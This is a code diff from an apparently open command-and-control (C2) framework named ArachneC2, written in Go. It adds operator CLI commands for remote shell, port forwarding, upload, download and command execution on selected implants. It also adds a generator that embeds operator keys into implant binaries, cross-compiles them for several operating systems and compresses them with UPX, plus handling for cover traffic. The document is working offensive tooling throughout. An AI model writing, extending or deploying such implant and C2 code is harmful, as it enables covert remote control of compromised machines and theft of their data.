||||
if selected == nil {
|
||||
fmt.Println("no implant selected (use 'select <idx>')")
|
||||
continue
|
||||
@@ -128,6 +201,10 @@ func (o *Operator) RunCLI() {
|
||||
}
|
||||
|
||||
case "pwd":
|
||||
if checkHelp(args) {
|
||||
fmt.Println(" " + commandHelp["pwd"])
|
||||
continue
|
||||
}
|
||||
if selected == nil {
|
||||
fmt.Println("no implant selected (use 'select <idx>')")
|
||||
continue
|
||||
@@ -139,6 +216,10 @@ func (o *Operator) RunCLI() {
|
||||
}
|
||||
|
||||
case "shell":
|
||||
if checkHelp(args) {
|
||||
fmt.Println(" " + commandHelp["shell"])
|
||||
continue
|
||||
}
|
||||
if selected == nil {
|
||||
fmt.Println("no implant selected (use 'select <idx>')")
|
||||
continue
|
||||
@@ -149,6 +230,10 @@ func (o *Operator) RunCLI() {
|
||||
}
|
||||
|
||||
case "portfwd":
|
||||
if checkHelp(args) {
|
||||
fmt.Println(" " + commandHelp["portfwd"])
|
||||
continue
|
||||
}
|
||||
if selected == nil {
|
||||
fmt.Println("no implant selected (use 'select <idx>')")
|
||||
continue
|
||||
@@ -167,6 +252,10 @@ func (o *Operator) RunCLI() {
|
||||
}
|
||||
|
||||
case "download":
|
||||
if checkHelp(args) {
|
||||
fmt.Println(" " + commandHelp["download"])
|
||||
continue
|
||||
}
|
||||
if selected == nil {
|
||||
fmt.Println("no implant selected (use 'select <idx>')")
|
||||
continue
|
||||
@@ -182,6 +271,10 @@ func (o *Operator) RunCLI() {
|
||||
}
|
||||
|
||||
case "upload":
|
||||
if checkHelp(args) {
|
||||
fmt.Println(" " + commandHelp["upload"])
|
||||
continue
|
||||
}
|
||||
if selected == nil {
|
||||
fmt.Println("no implant selected (use 'select <idx>')")
|
||||
continue
|
||||
@@ -202,6 +295,10 @@ func (o *Operator) RunCLI() {
|
||||
}
|
||||
|
||||
case "exec", "execute":
|
||||
if checkHelp(args) {
|
||||
fmt.Println(" " + commandHelp["exec"])
|
||||
continue
|
||||
}
|
||||
if selected == nil {
|
||||
fmt.Println("no implant selected (use 'select <idx>')")
|
||||
continue
|
||||
@@ -216,12 +313,44 @@ func (o *Operator) RunCLI() {
|
||||
fmt.Println("command sent")
|
||||
}
|
||||
|
||||
case "generate":
|
||||
if checkHelp(args) {
|
||||
fmt.Println(" " + commandHelp["generate"])
|
||||
continue
|
||||
}
|
||||
if err := RunGenerate(args); err != nil {
|
||||
fmt.Printf("generate error: %v\n", err)
|
||||
}
|
||||
|
||||
case "regenerate":
|
||||
fmt.Println("WARNING: regenerating operator keys will invalidate ALL existing implants.")
|
||||
fmt.Println("Old implants have your current public key embedded and will NOT be able to call back.")
|
||||
ans, err := line.Prompt("Are you sure? [y/N] ")
|
||||
if err != nil || (ans != "y" && ans != "Y" && ans != "yes") {
|
||||
fmt.Println("cancelled")
|
||||
continue
|
||||
}
|
||||
keyPath := keyPath()
|
||||
pubPath := pubKeyPath()
|
||||
os.Remove(keyPath)
|
||||
os.Remove(pubPath)
|
||||
log.Printf("deleted %s and %s", keyPath, pubPath)
|
||||
log.Printf("regenerated keys will take effect on next startup")
|
||||
fmt.Println("Restart arachne for the new keys to take effect.")
|
||||
|
||||
default:
|
||||
fmt.Printf("unknown command: %s (try 'help')\n", cmd)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func saveHistory(path string, line *liner.State) {
|
||||
if f, err := os.Create(path); err == nil {
|
||||
line.WriteHistory(f)
|
||||
f.Close()
|
||||
}
|
||||
}
|
||||
|
||||
func shortenStr(s string, max int) string {
|
||||
if len(s) <= max {
|
||||
return s
|
||||
|
||||
@@ -0,0 +1,6 @@
|
||||
package embedsrc
|
||||
|
||||
import "embed"
|
||||
|
||||
//go:embed implant_src
|
||||
var ImplantSource embed.FS
|
||||
@@ -0,0 +1,287 @@
|
||||
package core
|
||||
|
||||
import (
|
||||
"crypto/rand"
|
||||
"flag"
|
||||
"fmt"
|
||||
"io"
|
||||
"io/fs"
|
||||
"log"
|
||||
"net/http"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
|
||||
"github.com/libp2p/go-libp2p/core/crypto"
|
||||
"github.com/libp2p/go-libp2p/core/peer"
|
||||
|
||||
"github.com/portbuster1337/ArachneC2/server/core/embedsrc"
|
||||
)
|
||||
|
||||
type GenerateConfig struct {
|
||||
PubKeyPath string
|
||||
OutputPath string
|
||||
TargetOS string
|
||||
TargetArch string
|
||||
UseUPX bool
|
||||
}
|
||||
|
||||
func RunGenerate(args []string) error {
|
||||
cfg := GenerateConfig{
|
||||
PubKeyPath: defaultPubKeyPath(),
|
||||
OutputPath: "implant",
|
||||
TargetOS: "linux",
|
||||
TargetArch: "amd64",
|
||||
}
|
||||
|
||||
fs := flag.NewFlagSet("generate", flag.ExitOnError)
|
||||
fs.StringVar(&cfg.PubKeyPath, "pubkey", cfg.PubKeyPath, "path to operator public key")
|
||||
fs.StringVar(&cfg.OutputPath, "output", cfg.OutputPath, "output path for the implant binary")
|
||||
fs.StringVar(&cfg.TargetOS, "os", cfg.TargetOS, "target OS (linux, darwin, windows)")
|
||||
fs.StringVar(&cfg.TargetArch, "arch", cfg.TargetArch, "target architecture (amd64, arm64)")
|
||||
fs.BoolVar(&cfg.UseUPX, "upx", true, "compress with UPX")
|
||||
fs.Parse(args)
|
||||
|
||||
return BuildImplant(cfg)
|
||||
}
|
||||
|
||||
func BuildImplant(cfg GenerateConfig) error {
|
||||
pubData, err := os.ReadFile(cfg.PubKeyPath)
|
||||
if err != nil {
|
||||
return fmt.Errorf("read pubkey %s: %w", cfg.PubKeyPath, err)
|
||||
}
|
||||
|
||||
implantPriv, implantPub, err := crypto.GenerateEd25519Key(rand.Reader)
|
||||
if err != nil {
|
||||
return fmt.Errorf("generate implant key: %w", err)
|
||||
}
|
||||
privBytes, err := crypto.MarshalPrivateKey(implantPriv)
|
||||
if err != nil {
|
||||
return fmt.Errorf("marshal implant private key: %w", err)
|
||||
}
|
||||
implantPeerID, _ := peer.IDFromPublicKey(implantPub)
|
||||
log.Printf("implant PeerID: %s", implantPeerID.String())
|
||||
|
||||
buildDir, err := prepareBuildDir(pubData, privBytes)
|
||||
if err != nil {
|
||||
return fmt.Errorf("prepare build directory: %w", err)
|
||||
}
|
||||
defer os.RemoveAll(buildDir)
|
||||
|
||||
outPath := cfg.OutputPath
|
||||
if !filepath.IsAbs(outPath) {
|
||||
wd, _ := os.Getwd()
|
||||
outPath = filepath.Join(wd, outPath)
|
||||
}
|
||||
|
||||
goBinary, err := ensureGo()
|
||||
if err != nil {
|
||||
return fmt.Errorf("go not available: %w", err)
|
||||
}
|
||||
|
||||
cmd := exec.Command(goBinary, "build",
|
||||
"-o", outPath,
|
||||
"-ldflags=-s -w",
|
||||
"./implant/",
|
||||
)
|
||||
cmd.Env = append(os.Environ(),
|
||||
"GOOS="+cfg.TargetOS,
|
||||
"GOARCH="+cfg.TargetArch,
|
||||
"CGO_ENABLED=0",
|
||||
)
|
||||
cmd.Stdout = os.Stdout
|
||||
cmd.Stderr = os.Stderr
|
||||
cmd.Dir = buildDir
|
||||
|
||||
log.Printf("building implant for %s/%s -> %s", cfg.TargetOS, cfg.TargetArch, outPath)
|
||||
if err := cmd.Run(); err != nil {
|
||||
return fmt.Errorf("build: %w", err)
|
||||
}
|
||||
log.Printf("built %s", outPath)
|
||||
|
||||
if cfg.UseUPX {
|
||||
if upxPath, err := exec.LookPath("upx"); err == nil {
|
||||
upx := exec.Command(upxPath, "--best", "--lzma", outPath)
|
||||
upx.Stdout = os.Stdout
|
||||
upx.Stderr = os.Stderr
|
||||
if err := upx.Run(); err != nil {
|
||||
log.Printf("upx compression skipped: %v", err)
|
||||
}
|
||||
} else {
|
||||
log.Printf("upx not found, skipping compression")
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func prepareBuildDir(pubKeyData, privKeyData []byte) (string, error) {
|
||||
dir, err := os.MkdirTemp("", "arachne-build-*")
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("create temp dir: %w", err)
|
||||
}
|
||||
|
||||
pubLiteral := bytesLiteral(pubKeyData)
|
||||
privLiteral := bytesLiteral(privKeyData)
|
||||
pubContent := fmt.Sprintf(`// Code generated by arachne generate. DO NOT EDIT.
|
||||
package core
|
||||
|
||||
var embeddedOperatorPubKey = %s
|
||||
`, pubLiteral)
|
||||
keyContent := fmt.Sprintf(`// Code generated by arachne generate. DO NOT EDIT.
|
||||
package core
|
||||
|
||||
var embeddedImplantPrivKey = %s
|
||||
`, privLiteral)
|
||||
|
||||
if err := extractEmbeddedSource(dir); err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
// Rename go.mod.txt/go.sum.txt back to real names
|
||||
os.Rename(filepath.Join(dir, "go.mod.txt"), filepath.Join(dir, "go.mod"))
|
||||
os.Rename(filepath.Join(dir, "go.sum.txt"), filepath.Join(dir, "go.sum"))
|
||||
|
||||
coreDir := filepath.Join(dir, "implant", "core")
|
||||
if err := os.WriteFile(filepath.Join(coreDir, "embedded_pubkey.go"), []byte(pubContent), 0644); err != nil {
|
||||
return "", fmt.Errorf("write embedded_pubkey.go: %w", err)
|
||||
}
|
||||
if err := os.WriteFile(filepath.Join(coreDir, "embedded_implant_key.go"), []byte(keyContent), 0644); err != nil {
|
||||
return "", fmt.Errorf("write embedded_implant_key.go: %w", err)
|
||||
}
|
||||
|
||||
return dir, nil
|
||||
}
|
||||
|
||||
func extractEmbeddedSource(dst string) error {
|
||||
src := "implant_src"
|
||||
return fs.WalkDir(embedsrc.ImplantSource, src, func(path string, d fs.DirEntry, err error) error {
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
rel := strings.TrimPrefix(path, src)
|
||||
if rel == "" {
|
||||
return nil
|
||||
}
|
||||
rel = strings.TrimPrefix(rel, "/")
|
||||
target := filepath.Join(dst, rel)
|
||||
|
||||
if d.IsDir() {
|
||||
return os.MkdirAll(target, 0755)
|
||||
}
|
||||
|
||||
data, err := embedsrc.ImplantSource.ReadFile(path)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return os.WriteFile(target, data, 0644)
|
||||
})
|
||||
}
|
||||
|
||||
func defaultPubKeyPath() string {
|
||||
home, err := os.UserHomeDir()
|
||||
if err != nil {
|
||||
return "operator.pub"
|
||||
}
|
||||
return filepath.Join(home, ".arachne", "operator.pub")
|
||||
}
|
||||
|
||||
func findProjectRoot() (string, error) {
|
||||
dir, err := os.Getwd()
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
for {
|
||||
if fileExists(filepath.Join(dir, "go.mod")) {
|
||||
return dir, nil
|
||||
}
|
||||
parent := filepath.Dir(dir)
|
||||
if parent == dir {
|
||||
return "", fmt.Errorf("no go.mod found (run from project root)")
|
||||
}
|
||||
dir = parent
|
||||
}
|
||||
}
|
||||
|
||||
func ensureGo() (string, error) {
|
||||
if p, err := exec.LookPath("go"); err == nil {
|
||||
return p, nil
|
||||
}
|
||||
if goroot := os.Getenv("GOROOT"); goroot != "" {
|
||||
candidate := filepath.Join(goroot, "bin", "go")
|
||||
if fileExists(candidate) {
|
||||
return candidate, nil
|
||||
}
|
||||
}
|
||||
if fileExists("/usr/local/go/bin/go") {
|
||||
return "/usr/local/go/bin/go", nil
|
||||
}
|
||||
|
||||
log.Print("Go not found. Attempting to install...")
|
||||
|
||||
osName := runtime.GOOS
|
||||
archName := runtime.GOARCH
|
||||
switch archName {
|
||||
case "x86_64":
|
||||
archName = "amd64"
|
||||
case "aarch64":
|
||||
archName = "arm64"
|
||||
}
|
||||
|
||||
resp, err := http.Get("https://go.dev/VERSION?m=text")
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("check go version: %w", err)
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
versionBytes, err := io.ReadAll(resp.Body)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("read go version: %w", err)
|
||||
}
|
||||
version := strings.TrimSpace(strings.Split(string(versionBytes), "\n")[0])
|
||||
|
||||
url := fmt.Sprintf("https://go.dev/dl/%s.%s-%s.tar.gz", version, osName, archName)
|
||||
log.Printf("downloading %s ...", url)
|
||||
|
||||
tarball, err := os.CreateTemp("", "go-*.tar.gz")
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("create temp file: %w", err)
|
||||
}
|
||||
defer os.Remove(tarball.Name())
|
||||
|
||||
dlResp, err := http.Get(url)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("download go: %w", err)
|
||||
}
|
||||
defer dlResp.Body.Close()
|
||||
|
||||
if _, err := io.Copy(tarball, dlResp.Body); err != nil {
|
||||
return "", fmt.Errorf("write go tarball: %w", err)
|
||||
}
|
||||
tarball.Close()
|
||||
|
||||
log.Print("extracting to /usr/local/go ...")
|
||||
if err := exec.Command("sudo", "rm", "-rf", "/usr/local/go").Run(); err != nil {
|
||||
return "", fmt.Errorf("remove old go: %w", err)
|
||||
}
|
||||
if err := exec.Command("sudo", "tar", "-C", "/usr/local", "-xzf", tarball.Name()).Run(); err != nil {
|
||||
return "", fmt.Errorf("extract go: %w", err)
|
||||
}
|
||||
|
||||
log.Printf("Go %s installed at /usr/local/go", version)
|
||||
return "/usr/local/go/bin/go", nil
|
||||
}
|
||||
|
||||
func fileExists(path string) bool {
|
||||
_, err := os.Stat(path)
|
||||
return err == nil
|
||||
}
|
||||
|
||||
func bytesLiteral(data []byte) string {
|
||||
var parts []string
|
||||
for _, b := range data {
|
||||
parts = append(parts, fmt.Sprintf("%d", b))
|
||||
}
|
||||
return "[]byte{" + strings.Join(parts, ",") + "}"
|
||||
}
|
||||
@@ -170,6 +170,8 @@ func (o *Operator) handleMessage(ctx context.Context, env *arachnepb.Envelope, s
|
||||
switch env.Type {
|
||||
case transport.MsgTypeRegister:
|
||||
o.handleBeaconRegister(env)
|
||||
case transport.MsgTypeCover:
|
||||
// cover traffic silently dropped
|
||||
case transport.MsgTypePs:
|
||||
o.handlePsResult(env)
|
||||
case transport.MsgTypeLs:
|
||||
|
||||
Reference in New Issue
Block a user